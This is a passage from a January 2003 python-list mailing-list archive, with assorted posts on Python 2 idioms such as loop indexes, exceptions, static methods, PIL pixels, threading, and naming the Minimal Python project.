Minithon. :-)

it'll-either-start-a-trend-or-bury-the-project-in-obscurity-ly y'rs, 
---Tom




From cnetzer at mail.arc.nasa.gov  Fri Jan 31 16:29:37 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 13:29:37 -0800
Subject: getting an index in a for loop
In-Reply-To: <20030131140413.GC15646@frobozz.local>
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com>
	 <20030131140413.GC15646@frobozz.local>
Message-ID: <1044048576.1118.23.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 06:04, Andrew Bennetts wrote:

> Otherwise in Python 2.0 or later:
>     
>     >>> s = 'abcdefg'                   
>     >>> for index, char in zip(range(len(s)), s):
>     ...     print index, char
>     ... 
>     0 a
>     1 b
>     2 c
>     3 d
>     4 e
>     5 f
>     6 g

Or the always-in-style, oldie-but-goodie method (from Python 1.x
onwards):

s = 'abcdefg'
for i in xrange( len( s ) ):
    print i, s[i]

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From gbrunet at nospamsempersoft.com  Wed Jan  8 15:23:27 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 8 Jan 2003 14:23:27 -0600
Subject: Python vs .Net
References: <mailman.1042016958.29335.python-list@python.org>
Message-ID: <v1p26liei7gd54@corp.supernews.com>

> > Sorry - but my math is a bit rusty - wouldn't a matrix just be an
> array
> > of floats (or maybe complex numbers), that would seem to be a pretty
> > straightforward definition and one that wouldn't impose an undo
burden
> > on using the routine.
>
> A typical definition might be:
>
> typedef float[4][4] matrix
>
> But what if I want it to work with doubles? Or I do have a different
> implementation of matrix that uses a single array of 16 floating point
> types.

Brian:

I looking into it some more, and, even though I can use Singles where a
"ByVal" (value) function parameter calls for a Double, I can't do that
when it's "ByRef" (reference).  (I know that these are VB and not
generic terms, but you can probably catch their meaning).  Since I
expect that you're rotate function is operating on the matrix itself
instead of returning a new matrix, in VB I'd have to use ByRef - and
therefore would have to define both single and double versions of the
function.  There maybe some VB folks who understand this better than I
do and could come up with another solution, but I can't think of one
right now.

I am also curious how your matrix_rotate code could operate on both a
single and double-dimensioned array.  I would think that (in any
language) you would need to have some logic to find out how many
dimensions there are in order to process the information correctly.
Take care,

--
Greg





From johnroth at ameritech.net  Fri Jan 31 18:48:01 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 31 Jan 2003 18:48:01 -0500
Subject: Syntax checking python...
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <v3m2mma6lm1d55@news.supernews.com>

"Afanasiy" <abelikov72 at hotmail.com> wrote in message
news:jpsl3vcbb4tlv97l7bi2319238hkl3rdol at 4ax.com...
>
> In other languages, I can receive syntax errors without the script
having
> to execute. Please do not let this hurt your feelings. I merely bring
up
> the other languages as an example of what I mean and what I am used
to.
>
> In Python, I will not receive a syntax error until the interpreter
runs
> right into it. This is not very efficient for me during my
development.

As far as development efficiency, I proceed in very small increments,
and generally write unit tests for everything as I go along. This
flushes
out syntax errors rapidly. With this style of programming, I don't find
the lack of a separate syntax checker to be significant; in fact I
wouldn't
use it if it was present because it would slow me down.

> Is there a way I can be notified of my typos without having to run the
> interpreter up to those mistakes? That is my question. No smartasses.

John Roth





From stuart at bmsi.com  Thu Jan  2 19:35:37 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Fri, 03 Jan 2003 00:35:37 GMT
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <tV4R9.114755$pe.4406107@news2.east.cox.net>

On Thu, 02 Jan 2003 15:04:24 -0500, Rocco Rossi wrote:

> I was wondering if it is possible in Python to do something analogous to
> downcasting in a statically typed language like C++. I mean is it
> possible to take an instance of a base class and magically transform it
> into an instance of some derived class eventually fixing things (like
> the missing attribute data)?
 
Downcasting in C++ is something you do to pointers, not to instances.
Here is how you "downcast" in Python:

class Base:
  def foo(self): print "base"

class Derived(Base):
  def bar(self): print "derived"

baseptr = Derived()	# C++: Base *baseptr = new Derived();

baseptr.bar()		# C++: ((Derived)baseptr)->bar();
# prints "derived"

Note that you do it exactly the same as in C++ - but without any type
attached to the reference variables (only instances have types in Python).

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From daniel.dittmar at sap.com  Fri Jan 24 11:35:23 2003
From: daniel.dittmar at sap.com (Daniel Dittmar)
Date: Fri, 24 Jan 2003 17:35:23 +0100
Subject: Sharing method code between class instances
References: <tPydnYzWiJs2-qyjXTWcpg@comcast.com>
Message-ID: <b0rq0b$an2$1@news1.wdf.sap-ag.de>

Larry Bates wrote:
> Problem: My program will create hundreds of instances of this field
> class and
> I'm worried about the code for each instance of the class being
> repeated over
> and over filling memory.  In this simple case it wouldn't be a
> problem, but the
> draw method will get rather large as I introduce MANY formatting
> parameters like fill characters, float characters, picture formats,
> etc. the draw method will
> become quite large/complex.

No need to worry. The code for the draw method is attached to the class, not
each individual instance.

>>> field.draw
<unbound method field.draw>
>>> field.draw.im_func
<function draw at 0x00769A60>
>>> f1 = field ()
>>> f2 = field ()
>>> f1.draw.im_func
<function draw at 0x00769A60>
>>> f2.draw.im_func
<function draw at 0x00769A60>

As you can see, the actual method code is the same, regardless of the
instance.

Daniel






From robin at jessikat.fsnet.co.uk  Tue Jan  7 03:48:05 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 7 Jan 2003 08:48:05 +0000
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu>
 <v1k1tts6o9ta1e@news.supernews.com>
Message-ID: <EN6w0WAFRpG+EwB8@jessikat.fsnet.co.uk>

In article <v1k1tts6o9ta1e at news.supernews.com>, John Roth
<johnroth at ameritech.net> writes
......
>
>I don't think I've ever seen **conceptual** fixed point binary.
>**Implementation**
>fixed point binary, yes, but then it was conceptually decimal.
>
>John Roth
..... I believe Adobe's internal representation is a binary fixed point
scheme. I think it is based on a 32bit int with 16 bits as the fraction.

I believe that the FreeType font package also uses the same
representation.
-- 
Robin Becker



From claird at lairds.com  Thu Jan 30 17:43:15 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 30 Jan 2003 22:43:15 -0000
Subject: Which exception has been used? (was: Which exception to use?)
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <v3jak3of0o8ga2@corp.supernews.com>

In article <7h3y954ywdw.fsf at pc150.maths.bris.ac.uk>,
Michael Hudson  <mwh at python.net> wrote:
>Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
>
>> I do things like this for some library functions that I create (I 
>> welcome discussion about whether it is a good approach)
>> 
>> class ArgumentError( Exception ):
>>     pass
>
>This *is* a good approach (IMHO), but you should consider deriving
>your exceptions from StandardError instead (I rarely remember to do
>this, either).
			.
			.
			.
And what about people who don't?

I've liked this thread for its serious presentations
of the results of deep experience.  I still suspect
I'm at least two big insights from comfort with ex-
ceptions, though.

One of my problems is that I don't know how to write
"the default case".  When we see the above, I assume
we all have in mind client code that looks like
 try:
     myfunction()
 except SpecializedError, e:
     something_special()
 except StandardError, e:
     cope_somehow_with_this(e)

Suppose, as is always true, though, that I'm dealing
with modules not under my control.  How do I catch
"other"?  There must be something I'm missing about
the new type and exception systems, 'cause I don't 
see a Pythonic way to write
  ....
  except OTHER, e:
      # The foreign code threw an exception of
      #    a type I don't recognize, but I need
      #    to process/log/... 'e'.
      cope(e)
Yes, I can write
  ....
  except:
      cope()
but then I've lost the information I want in 'e'.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From jbperez808 at yahoo.com  Sat Jan 11 12:59:39 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 11 Jan 2003 09:59:39 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
Message-ID: <f57664b9.0301110959.5b1439da@posting.google.com>

I agree with the fact that explicit use of self is good
for code readability, however it tends to make code lines
too long.  Since 'self' is just a convention, I wonder if
people out there have tried replacing it with a one-character
equivalent without encountering any problems.

I was thinking of using '_' ('I' is a distant second
choice) instead of self.  Comments?



From spam-me at no-thanks.com  Wed Jan 22 20:26:34 2003
From: spam-me at no-thanks.com (Aum)
Date: Thu, 23 Jan 2003 14:26:34 +1300
Subject: staticmethod() problems
Message-ID: <QyHX9.42384$F63.906360@news.xtra.co.nz>

Hi,

I'm trying to find a way for a static method in a class to determine if it 
was called from the class, or from an instance.

For example:

>>>class C:
...   def mystaticfunc():
...      if i_was_called_statically:
...         print "I've been called statically"
...      else:
...         inst = some_magic_way_of_finding_the_instance_invoking_me
...         print "I was invoked via instance ", inst
...   mystaticfunc = staticmethod(mystaticfunc)
...
>>>c = C()
>>>C.mystaticfunc()
I've been called statically
>>>c.mystaticfunc()
I was invoked via instance <modulename.C instance at 0x6239384>
>>>class C1(C):
...   pass
...
>>>c1 = C1()
>>>c1.mystaticfunc()
I was invoked via instance <modulename.C1 instance at 0x3426573>
>>>

Is there any way to do this without having to define 2 separate methods?

Thanks for your help
A




From whit at shaftnet.org  Mon Jan 27 03:41:50 2003
From: whit at shaftnet.org (Whit Whitfield)
Date: 27 Jan 2003 00:41:50 -0800
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <3E32EFD8.D00D4656@engcorp.com> <b0e655d.0301260938.14265877@posting.google.com> <3E342721.E8925970@engcorp.com>
Message-ID: <b0e655d.0301270041.34ebedff@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E342721.E8925970 at engcorp.com>...
> Not sure what else might be going wrong... why not try
> the example from the documentation on httplib?

I tried to run that example and get an Attribute error:HTTPConnection.
It's a sad affair when I can't even get the 10-line examples from the
standard python libraries to work.  Any tips there?

-whit



From nav at adams.patriot.net  Fri Jan 10 00:09:52 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 10 Jan 2003 00:09:52 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net> <RSjT9.38030$1c.26589@nwrddc01.gnilink.net> <yyyk7he2j81.fsf@adams.patriot.net> <3E1E0D7F.652E0FB6@alcyone.com>
Message-ID: <yyy4r8h380v.fsf@adams.patriot.net>

Erik Max Francis <max at alcyone.com> writes:

> Yeah, I'd have to agree.  His subsequent response suggests that either
> he's laying it on _really_ thick or he's not being deliberately ironic.

I actually read ahead a few posts to see some of his responses to
other people who made suggestions before posting my "hubris"
comment. I feel it was justified, but don't care to argue it with
people who want to defend him.

Ah well, I probably should have known better and just stayed
out. Maybe I never _will_ learn...

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From max at alcyone.com  Fri Jan 24 19:39:47 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 16:39:47 -0800
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org> <1d4cf4c3.0301231155.f8bc70b@posting.google.com> <3E3087AF.DB0D06CB@alcyone.com> <slrnb32738.5jj.rmunn@localhost.localdomain> <XZjY9.12895$5K5.1015875@news20.bellglobal.com>
Message-ID: <3E31DCD3.6C1E6AE3@alcyone.com>

Sean Ross wrote:

> Or, from the "Python Cookbook":
>     (matches == 1 and [''] or ['es'])[0]
> or
>     ('', 'es')[matches != 1]
> or, for plurals in particular,
>     's'*(matches != 1)

Yes, you can use lambdas as well.  Both of these solutions are
self-defeating:  The purpose for using the conditional operator is so
that the meaning is clear.  With each incrementally correct solution,
the code becomes more and more obfuscated to the point of defeating the
entire purpose for introducing it.

The goal isn't compacting as much code is one line.  The goal is doing
it cleanly, in a way that's obvious.

I've wished for a conditional operator in Python since I first started
using it.  I've used (a, b)[p] (where p is known to be 0 or 1) notaton
since it's fairly readable.  I won't use the p and a or b because of the
potential mishap.  I certainly won't use the "proper," although
obfuscated solutions involving singleton lists or lambdas; that would
negate the entire purpose I want it for.

There are always ways to do it; the question is whether those ways
belong in production code (especially in such an inherently readable and
transparent language such as Python) or in obfuscated programming
contests.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I grow with each breath that I take / I cherish my freedom
\__/ Chante Moore
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From jeethur at sancharnet.in  Wed Jan 29 03:09:24 2003
From: jeethur at sancharnet.in (Jeethu Rao)
Date: Wed, 29 Jan 2003 13:39:24 +0530
Subject: Algorithm help
In-Reply-To: <3E35DB49.2020701@verio.net>
Message-ID: <000101c2c76d$c467e0e0$8288013d@JeethuRao>

For simplicity, I'd suggest a 2D array (A list of
Lists in python), with each element being either
0 or 1. The ones are the paths, the zeros are the walls.
For a compact storage of the mazes, cPickle it up and 
compress it with zlib.

A similar maze problem is discussed in Adam Drozdek's
"Data Structures and Algorithms in C++" book.

Jeethu Rao

> -----Original Message-----
> From: python-list-admin at python.org
[mailto:python-list-admin at python.org]
> On Behalf Of VanL
> Sent: Tuesday, January 28, 2003 6:52 AM
> To: python-list
> Subject: Algorithm help
> 
> Hello,
> 
> I am trying to create an internal representation of a maze in python.
> My first thought was to have a dict, with the keys being ordered
pairs,
> and the values being 1 (wall) or 0 (no wall).  That way I could pretty
> efficently construct a graph that I could search for the solution.
> 
> However, the map description file is in a little different format than
I
> expected -- I had thought that they were going to give us a file with
a
> bunch of 1s and 0s.  However, what I actually will get is a list of
> lists of ordered pairs:
> 
> POINTS=[200,20 200,200 210,200 210,20]
> POINTS=[320,20 320,200 330,200 330,20]
> 
> I am inclined to still go with the same representation, but I am
trying
> to find a way to efficiently solve the above as an inequality, to get
> every integer point within the wall.  Does anyone know a good
algorithm
> for doing so?
> 
> 
> Alternatively, can anyone suggest a better internal representation?
> 
> Thanks,
> 
> VanL





From bongie at gmx.net  Fri Jan 10 10:03:45 2003
From: bongie at gmx.net (Harald H.-J. Bongartz)
Date: Fri, 10 Jan 2003 16:03:45 +0100
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com> <avfkpp$a7n$1@nyheter.chalmers.se> <23891c90.0301100451.310246d5@posting.google.com>
Message-ID: <1897587.ERBJOS54ez@nyoga.dubu.de>

Paul Boddie wrote:
> jacob at cd.chalmers.se (Jacob Hallen) wrote in message
> news:<avfkpp$a7n$1 at nyheter.chalmers.se>...
>> 
>> An interesting thought is wether the 55 Python programmers will
>> produce more useful applications than the 2037 VB programmers.
> 
> It gets even more interesting if you take monkeys and typewriters into
> consideration.

Modern monkeys don't use typewriters anymore.  They use a serial console
with Emacs.  (They experimented with vi, but monkeys tend to press the
Esc key too often and 'i' or 'a' too rarely, so productivity was
reduced dramatically.)

Ciao,
        Harald [vim user]
-- 
Harald H.-J. Bongartz <bongie at gmx.net>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Never underestimate the bandwidth of a station wagon full of tapes
hurtling down the highway.              -- Andrew S. Tannenbaum




From sjmachin at lexicon.net  Wed Jan 22 18:10:03 2003
From: sjmachin at lexicon.net (John Machin)
Date: 22 Jan 2003 15:10:03 -0800
Subject: Can anyone decode this Perl code, please?
References: <ba1e306f.0301211907.25fc9037@posting.google.com> <mailman.1043206359.6381.python-list@python.org>
Message-ID: <c76ff6fc.0301221510.59846182@posting.google.com>

holger krekel <pyth at devel.trillke.net> wrote in message news:<mailman.1043206359.6381.python-list at python.org>...
> Jane Austine wrote:
> > I am reading Object-Oriented Reengineering Patterns. I really enjoy
> > this book. On p.177, however, there is a perl code, which is all Greek
> > to me. Can anyone here translate it into a pseudo-code or a python
> > code(literal translation might do)?
>  
> > [lots of hieroglyphs deleted]

holger, the ancient Egyptians may feel insulted by the above; aren't
you afraid of the curse of the mummy?

Jane, doesn't the book have a website from which you can get an
electronic copy of the code? Apart from the usual jokes (e.g. Perl
code looks like it was written in the Klingon version of APL &&
transmitted from Dante's Inferno through an acoustically coupled modem
along a barbed-wire fence @ the height of a thunderstorm), you have at
least 2 typos (keysword, claases) ... OTOH, maybe it's not your fault:

   If book.contains_typos_in_code_examples():
      book.get_refund()

> 
>Is this code supposed to be an example
> of OO or a target for urgent reengineering? 

If the code is such a target:
   # "Re-engineering" presupposes that the code
   # was engineered in the first place.
   If the code is explained as it's being (re)engineered:
      book.read_explanation()
   Else:
      book.get_refund()
Else if the code is presented without explanation as a tool to be used
in software engineering:
      book.get_refund()
      # possible candidate for optimisation; may well be most heavily
      # used method



From paddy3118 at tiscali.co.uk  Sat Jan  4 07:44:07 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Sat, 04 Jan 2003 12:44:07 +0000
Subject: Winner: Best Python editor (under Linux)
Message-ID: <3e16d691_2@mk-nntp-2.news.uk.tiscali.com>

And the winner is....

   Hell, just choose one! I'm sure that no one has championed a 'duff' editor and I presume
you have a program to write?

Pad.




From tdelaney at avaya.com  Sun Jan 19 19:39:35 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 20 Jan 2003 11:39:35 +1100
Subject: license
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADB94B@natasha.auslabs.avaya.com>

> From: Tim Peters [mailto:tim.one at comcast.net]
> 
> It sounded ugly to me too, but the license doesn't forbid ugliness.

Could it? Please?

<0.5 wink>

Tim Delaney




From lac at strakt.com  Sat Jan  4 12:32:30 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 04 Jan 2003 18:32:30 +0100
Subject: Distributing Python apps 
In-Reply-To: Message from "Norman Skrzypinski" <zypin@sympatico.ca> 
   of "Sat, 04 Jan 2003 12:10:45 EST." <fAER9.8119$8M3.1354400@news20.bellglobal.com> 
References: <mailman.1041610035.7169.python-list@python.org> <fAER9.8119$8M3.1354400@news20.bellglobal.com> 
Message-ID: <200301041732.h04HWUjL015998@ratthing-b246.strakt.com>

Possibly you need to modify http://www.mcmillan-inc.com/install1.html
to say 'Distributing Python Apps _used to be_ a pain'?

cheers,
Laura Creighton

> 
> "Bjorn Pettersen" wrote :
> > From: Norman Skrzypinski [mailto:zypin at sympatico.ca]
> >
> > I've spent the last couple of months investigating Visual
> > Basic, Visual C++, Euphoria, Python and Perl.  I like Python,
> > but I'm put off by the pain-in-the-rear methods of creating
> > standalone Python applications.  Isn't this a serious
> > shortcoming that should receive a lot of immediate attention?
> > Is there a developer-friendly builder-installer in the works?
> 
> It might be useful for us to know what you think the shortcomings are of
> Distutils, py2exe, and Installer...
> 
> -- bjorn
> 
> Hi, Bjorn.
> 
> >From what I have read in the "Distributing Python Modules" section of the
> Python Documentation (Release 2.2.2, October 14, 2002), both source and
> built distributions can be installed only by users who have Python installed
> on their machines.  They do not "standalone".
> 
> Until you mentioned it, I was unaware of py2exe.  After reading the Python
> documentation, however, I read the first sentence on Gordon McMillan's web
> page (http://www.mcmillan-inc.com/install1.html), which states,
> "Distributing Python Apps...is a pain, if the user does not have Python
> installed. And if they do, it's a pain to make sure your code fits in with
> their setup."  Since this confirmed the impression that I already had, I
> didn't read further on to see his reference to Thomas Heller's py2exe.  I'll
> study that, now.
> 
> Thank you.
> 
> Norm
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From donnalcwalter at yahoo.com  Thu Jan 23 10:59:56 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 23 Jan 2003 09:59:56 -0600
Subject: datetime module for Python 2.2
References: <b0ot5j$9od$1@main.gmane.org> <BIEJKCLHCIOIHAGOKOLHMEMOEJAA.tim.one@comcast.net>
Message-ID: <b0p3ev$821$1@main.gmane.org>

"Tim Peters" <tim.one at comcast.net>
> [Donnal Walter]
> > I am looking forward to using the new datetime module in Python 2.3, but
> > until there is a stable version of wxPython for 2.3 I must stay
> > with Python 2.2.2.
> >
> > Is there a pure Python version of the new datetime module (or portions
> > thereof) that I could use for development on 2.2.2 until I am able
upgrade
> > to 2.3? (Yes, I know it would be slower than the C version, but that's
ok
> > for now.) Thanks.
>
> Skip pointed you to the Python CVS sandbox.  A better place, over time, is
> in Zope3's CVS tree.  Zope3 is in much the same boat as you, and I'm
> maintaining a pure-Python workalike mostly for its benefit:
>
>     http://cvs.zope.org/Zope3/src/datetime/
>
> They're "compatible enough" that the same (extensive) test suite is used
for
> both, but I'm sure there are differences if you try hard enough;

Thanks, so much. This helps a lot. If it is good enough for Zope, I'm sure
it will be good enough for me. :-)

Donnal Walter
Arkansas Children's Hospital







From tismer at tismer.com  Mon Jan 13 19:13:36 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 01:13:36 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]MinimalPython
 project)
In-Reply-To: <N0EU9.8308$Qr4.813921@newsread1.prod.itd.earthlink.net>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com> <N0EU9.8308$Qr4.813921@newsread1.prod.itd.earthlink.net>
Message-ID: <3E235630.8020606@tismer.com>

Terry Hancock wrote:
...

> PyPy suggests "pipe" or "pippy" or Py^2 which leads to PySquared or pi^2, 
> which suggest pi*r^2 or the area of a circle (pi^2 itself occurs in some 
> integrals, though I can't think of any interesting ones). Or perhaps 
> Pythagoras.  Or maybe Pygmalion who created Galatea in Greek mythology, 
> another symbol of recursion.

Or maybe Pi**Pi which is quite a funny number.






From morden at shadows.net  Thu Jan 23 19:57:09 2003
From: morden at shadows.net (morden)
Date: Thu, 23 Jan 2003 16:57:09 -0800
Subject: Communication between two programs on unix
In-Reply-To: <b0kvs0$o59$1@bob.news.rcn.net>
References: <b0kvs0$o59$1@bob.news.rcn.net> <x73cnl2hn8.fsf@guru.mired.org> <b0mod6$m6a$1@bob.news.rcn.net> <mailman.1043261800.24174.python-list@python.org>
Message-ID: <b0pt0o$idm$1@bob.news.rcn.net>

Geoff Gerrietts wrote:

> Quoting morden (morden at shadows.net):
>
> >I want the communication to work over cu session because some of our
> >customers live in stone age and don't have Internet connection.
> >So I want to run gui locally and eventually throw out Motif and move
> >all the gui into Tkinter. For now I'm just moving modal dialogs
> >into Tkinter.
> >The reason to dump Motif is because the lib we use on top of it (Zinc
> >4.0) seems pretty buggy and Tk is pretty stable compared to it.
> >
>
>
> I'm still not quite able to make sense of how you expect or desire the
> final product to work.
>
> I've got that you want to use a variety of different "links":
> cross-memory, via popen; cross-serial line, via cu; cross-internet,
> via ssh.
>
> I'm not sure what data you're really looking to have the programs
> exchange. It sounds to me like what you'd like to do is present the
> motif application as it stands, but on occassion, override its
> behaviors with dialogs you've created.
>
> This is going to be nontrivial. I can't speak definitively for what
> must happen to make this work, but there's no simple file-like,
> character-mode interface for an X program. Or, rather, there's a
> file-like interface, but the data transfered on that connection is
> going to consist of X server instructions. Your "client program", the
> tkinter jobbie, would need to fake the motif program into believing it
> was an X server (I think nontrivial), and the tk program must know
> enough to know when its being asked to draw a modal dialog (maybe
> easy, maybe not).
>
> I have no idea about the feasibility of doing this via cu. I also
> don't know if you can hijack ssh's X forwarding facility to accomplish
> this for you -- maybe, but I honestly don't know. I think you might
> need to go with an ssh-tunnel solution.
>
> Am I on the right track here? Or do you really want to exchange only
> that information that, if started from an xterm, your two programs
> would print to the terminal, rather than display in a GUI?

I just needed a simple transport to pipe python commands between two 
programs back and forth. The previous emails seem to have answered my 
question. I'd use ssh port forwarding in connection with netcat for 
communication over ssh and popen2 package for the case when two programs
run on one host.

Thank you.




From gerrit at nl.linux.org  Sat Jan  4 06:32:01 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 4 Jan 2003 12:32:01 +0100
Subject: Python threading tutorial?
Message-ID: <20030104113200.GA13889@nl.linux.org>

Hello,

I am looking for a tutorial on threading using Python. I do know Python, but
I don't know threading. I have read the documentation on the threading module
and searched for help on the web and in the archives, but I have not been able
to find what I'm looking for.

I don't really understand threading. If I have multiple threads, can these
threads interact? When should I use threads, and when shouldn't I? In which
cases are threads useful, and in which cases does the phrase on Regular
Expressions apply ("problem -> regex -> two problems")?

My case is an exercise application in which multiple object are randomly
wandering through a field, but when they meet they interact and go in
opposite directions. All those objects will be class instances and need to
"live" seperately, only interacting when they meet. Can threads help me in
this particular problem, or do threads have (very) different uses?

I hope someone can point me to Python-oriented documentation regarding
this questions.

yours,
Gerrit Holl.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From itcram at yahoo.com  Tue Jan  7 12:46:13 2003
From: itcram at yahoo.com (Mark)
Date: 7 Jan 2003 09:46:13 -0800
Subject: PIL JPEG pixel problem
Message-ID: <df392399.0301070946.5455fd55@posting.google.com>

I'm having problems changing the pixels in a .jpg file.

>>>import Image
>>> x = Image.open('te.jpg')
>>> x.getpixel((0,0))
(255, 255, 255)
>>> x.putpixel((0,0),(100,150,165))
>>> x.save('asdf.jpg')
>>>
>>> x = Image.open('asdf.jpg')
>>> x.getpixel((0,0))
(146, 146, 146)

When I open it up after changing the pixels they are I get totally
different pixels from (100,150,165) to (146,146,146).  I've tried
using the different options in the save() method(not all possible
combonations), but they always are different.  Does anyone know how I
can fix this?

Thanks!



From LogiplexSoftware at earthlink.net  Mon Jan 27 18:07:13 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 27 Jan 2003 15:07:13 -0800
Subject: .pyc files
In-Reply-To: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
Message-ID: <1043708833.25139.3063.camel@software1.logiplex.internal>

On Mon, 2003-01-27 at 14:49, Newt wrote:
> Silly question:
> 
> >From a command line, how do I create pyc files? I know I can do it from
> within IDLE, but I want to use a different editor (for other languages).


http://www.python.org/doc/current/lib/module-pycompile.html
http://www.python.org/doc/current/lib/module-compileall.html

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From gumuz at looze.net  Mon Jan 13 09:54:20 2003
From: gumuz at looze.net (Gumuz)
Date: Mon, 13 Jan 2003 15:54:20 +0100
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <3e22d0f6$0$802$4d4ebb8e@news.nl.uu.net>

call it 'worm'



"F. GEIGER" <fgeiger at datec.at> wrote in message
news:3e22b7f7 at news.swissonline.ch...
> Seems somebody has started a competition in finding names for Minimal
> Python.
>
> Minimal Python -> Mython.
>
> Children's Python (this kind of pythons really exists, German:
> Zwergpython) -> Chython
>
> Small Python -> Smython
>
> Dwarf + Python -> Dwython
>
> What about an other kind of snake, preferably a small one: Mamba.
>
> Any snake adicts hanging around here?
>
> Cheers
> Franz
>
>
>





From bokr at oz.net  Fri Jan 10 18:11:02 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 23:11:02 GMT
Subject: YAI: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <avn0ps$nsp$1@slb9.atl.mindspring.net>
Message-ID: <avnju6$uql$0@216.39.172.122>

On Fri, 10 Jan 2003 10:36:54 -0700, Andrew Dalke <adalke at mindspring.com> wrote:

>Bengt Richter wrote:
>>     def foo(x, y=default, z=some_expression):
>>         ...
>> 
>> where the purpose is not to have three parameters, but two
>> plus a local binding (z) in foo to the value of some_expression
>> evaluated in the def-time environment. z may bind something not
>> accessible later at call time, or it may be just to avoid recalculating
>> an expensive expression at each function call.
>
>I offer the following to be able to compare this proposal with
>what I've done to solve this problem
>
>
>def _foo(x, y, z = some_expresssion):
>   ....
>
>def foo(x, y = default):
>   _foo(x, y)

That strikes me as a lot of function call overhead,
compared to the foo you get with

def foomaker(yd= default, z = some_expression):
    def foo(x, y=yd):
        return x*y*z # or other use
    return foo

foo = foomaker()

IOW, I wasn't saying there isn't an effective way, just that there's no
concise spelling like, e.g.,

    def foo(x, y=default)(z=some_expression):
        return x*y*z # or other use
  
where that means z gets a local binding like y,
but is not part of the parameter list.

>
>However, I do this only rarely (mostly for recursive functions)
>since it doesn't gain all that much over
>
>_default_z = some_expression
>
>def foo(x, y = default):
>   z = _default_z
>   ...
Indeed, a plain global reference should be considerably faster
than a double function call as in your foo's call of (global!) _foo ;-)

Maybe you mis-copied something you'd done before?

Regards,
Bengt Richter



From ciouded0ne at aol.com  Sat Jan 18 02:25:16 2003
From: ciouded0ne at aol.com (CIouded 0ne)
Date: 18 Jan 2003 07:25:16 GMT
Subject: problem with the if statement and elif
Message-ID: <20030118022516.11673.00000074@mb-ce.aol.com>

hey i have a question i look at the tutorials that come for download with the
python interpreter and whatnot and i can never get the if and elif to work for?
